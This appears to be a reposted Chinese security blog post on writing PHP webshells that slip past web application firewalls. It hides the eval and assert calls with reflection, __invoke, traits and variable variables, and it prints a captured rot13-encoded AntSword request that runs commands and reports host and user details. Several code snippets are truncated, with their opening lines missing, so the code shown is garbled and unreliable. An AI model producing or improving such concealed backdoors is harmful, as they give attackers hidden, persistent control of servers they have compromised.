前言
如果我们直接传参进行命令执行的话会很容易被WAF拦截。
蚁剑有编码器这一功能可以方便我们绕过WAF的检测。
后来一次使用webshell过程中发现其并不能连接蚁剑,决定抓包简单分析一下流量修改我们的webshell。
trick
这一次分享几个之前总结的一些成果。
ReflectionClass::newInstance
$\_wfwefb) {
$$\_asadasd =$\_wfwefb;
}
}
$class2 = $class1->newInstance($\_asadasd, $$\_asadasd);
我们首先初始化一个反射类,传入要实例化类的类名,接下来用
`newInstance()`
方法对该类进行实例化。
1.我们的webshell需要接收两个参数,一个是`函数`,另一个是`函数的参数`,这里借用`@郑瀚AndrewHann`师傅的污点传递理论:https://zhuanlan.zhihu.com/p/197553954

2.接下来就是在构造函数内部执行命令,执行命令的方式是使用可变函数。当函数名被传入`$para=assert`时,构造函数内变为`assert($_value)`。函数的参数即我们要执行的命令。
3.最后解决参数的传递。常见的
`$_GET[]、$_POST[]、$_COOKIE[]...`
数组无法直接使用。
我们依然利用PHP的动态特性,使webshell不出现
`$_GET[]、$_POST[]、$_COOKIE[]...`
。
当程序执行到第二个foreach循环之前。
我们的输入并没有参数来接收,直到我们使用可变变量`变`出了`$_POST[]`,并将其键值进一步操作后传入`newInstance`函数。
---
上面这个webshell依然可以进行变形。
$\_wfwefb) {
$$\_asadasd =$\_wfwefb;
}
}
$class2 = $class1->newInstance($\_asadasd, $$\_asadasd);
* `__invoke`:当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。
所以我们在构造函数内调用一次对象:`$this($p1,$p2)`,接着会调用`__invoke()`函数实现命令执行。
trait(PHP 7)
-------------
php从以前到现在一直都是单继承的语言,无法同时从**两个基类中继承属性和方法** ,为了解决这个问题,php出了`Trait`这个特性
* 用法:通过在类中使用
`use`
关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,
**Trait不能实例化**
$\_value) {
$$\_key= $\_value;
}
}
$cat = new Cat();
$cat->eat($\_key, $\_value);
* 我们的参数依旧将键值数组中的`键`、`值`分别传入。函数调用则使用PHP 7中的`trait`特性,最终实现可变函数的执行
静态调用非静态函数
----------
$\_value) {
$$\_key= $\_value;
}
}
SimpleThis::NonStatic($\_key, $\_value);
在C、Java中,非静态函数肯定是不能被静态调用的。首先会编译失败。
但是PHP是个解释函数。至于原理:这里直接附上鸟哥的
文章
:
https://www.laruence.com/2012/06/14/2628.html
连接蚁剑
=====
将蚁剑挂上burpsuite。
上传我们的一句话木马进行连接。
* 请求的流量

`assert=@eval(@str_rot13($_POST[ca3a283bf3d534]));&ca3a283bf3d534=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);shapgvba nfrap($bhg){erghea $bhg;};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "ron28298";rpub @nfrap($bhgchg);rpub "9741440r5";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q} ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.=" ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.=" {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();`
* 可以得到webshell执行的内容为:`assert(@eval(@str_rot13($_POST[ca3a283bf3d534]));)`,接着&ca3a283bf3d534=xxxx为我们的第二个POST参数
所以实际上webshell执行的是第二个随机参数的值。
* 回显

`Call to undefined function ca3a283bf3d534()`这里报错未定义的函数,很显然我们的可变函数的函数名被覆盖了。并没有执行`assert()`,达到预期的结果。
实际上我们需要的是第一个POST参数即我们传入的assert。
所以我们的webshell在循环数组时,造成了变量覆盖,后来的参数覆盖了前一个值。在webshell中我们需要取第一个值再传递它即可。
修改
---
**以第一个webshell为例:**
$\_value) {
for ($i=0;$i<1;$i++) {
${"s".$i} = $\_key;
}
break;
}
}
$class2 = $class1->newInstance($s0, $\_value);
我们依然使用可变变量的方式获取参数的值。我们循环一次将函数名取出,再传递即可。
最后
===
success!

```
来源:https://xz.aliyun.com/t/9218
排版自:渗透师老A
```
侵权删!
**推荐阅读**
[XSS 实战思路总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484451&idx=1&sn=9672efaaf8693d10105c25020e91be19&chksm=c04e831df7390a0b975b18058b6ca6920e2defb83a3a13a9ab6f1e1f1ce22d51bdb1ce2be500&scene=21#wechat_redirect)
[内网信息收集总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484545&idx=1&sn=b37e978be08e9873184add84741d27c6&chksm=c04e83bff7390aa9116158ab8c745b23b21f26be5d7fa910a266048a22305923de60ca4387e0&scene=21#wechat_redirect)
[xss攻击、绕过最全总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484733&idx=1&sn=2329baa9bfd40be4e6395343669656f7&chksm=c04e8203f7390b15ef148b240850d0cb01becd7922f3b6f0cd8dc9932ef68623b90d5d6a7aee&scene=21#wechat_redirect)
[一些webshell免杀的技巧](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484474&idx=1&sn=5200f2cabaf85e92838000b3190f1368&chksm=c04e8304f7390a12531f15d6dce69fa6c4bb5bbf9d9a3dec38f817b1df5d23872d456c144cc0&scene=21#wechat_redirect)
[命令执行写webshell总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484810&idx=1&sn=3cfe8c6adc53bb1225e6ec869aa744ba&chksm=c04e82b4f7390ba217860a1cec97a4a1ddf73ba09234ae4c85560de6b302fb2c253297a95100&scene=21#wechat_redirect)
[SQL手工注入总结 必须收藏](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484757&idx=1&sn=fd2de85bd5ff54de6b84729bbfc8ad4b&chksm=c04e826bf7390b7d0a9ab52800b9943729924b0ac62ec987391fb3e6850394b911ad15d0987f&scene=21#wechat_redirect)
[后台getshell常用技巧总结](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484727&idx=1&sn=2dea2f461edb90af68be74c1e0b8344b&chksm=c04e8209f7390b1fe8701e6748147fd61922ce2e910df9750d08d838ca3cffa4e7ca531e4141&scene=21#wechat_redirect)
[web渗透之发现内网有大鱼](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484706&idx=1&sn=744e770f1b095a59abdf4a309eb1fcd8&chksm=c04e821cf7390b0aa3f597b05c0cbe28558338f90ebcebe6eaf2eb577ffd7ee843b5394c4595&scene=21#wechat_redirect)
[蚁剑特征性信息修改简单过WAF](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247484685&idx=1&sn=0fa58a0d4d7ec9e7876fd71edc219fc4&chksm=c04e8233f7390b2570f2d7500cb6f29b3e9663fb765995b3720255b94b2b1b5f4a637b4e2940&scene=21#wechat_redirect)
**查看更多精彩内容,还请关注**
**橘猫学安全**
**:**
**每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“**
**再看**
**”**
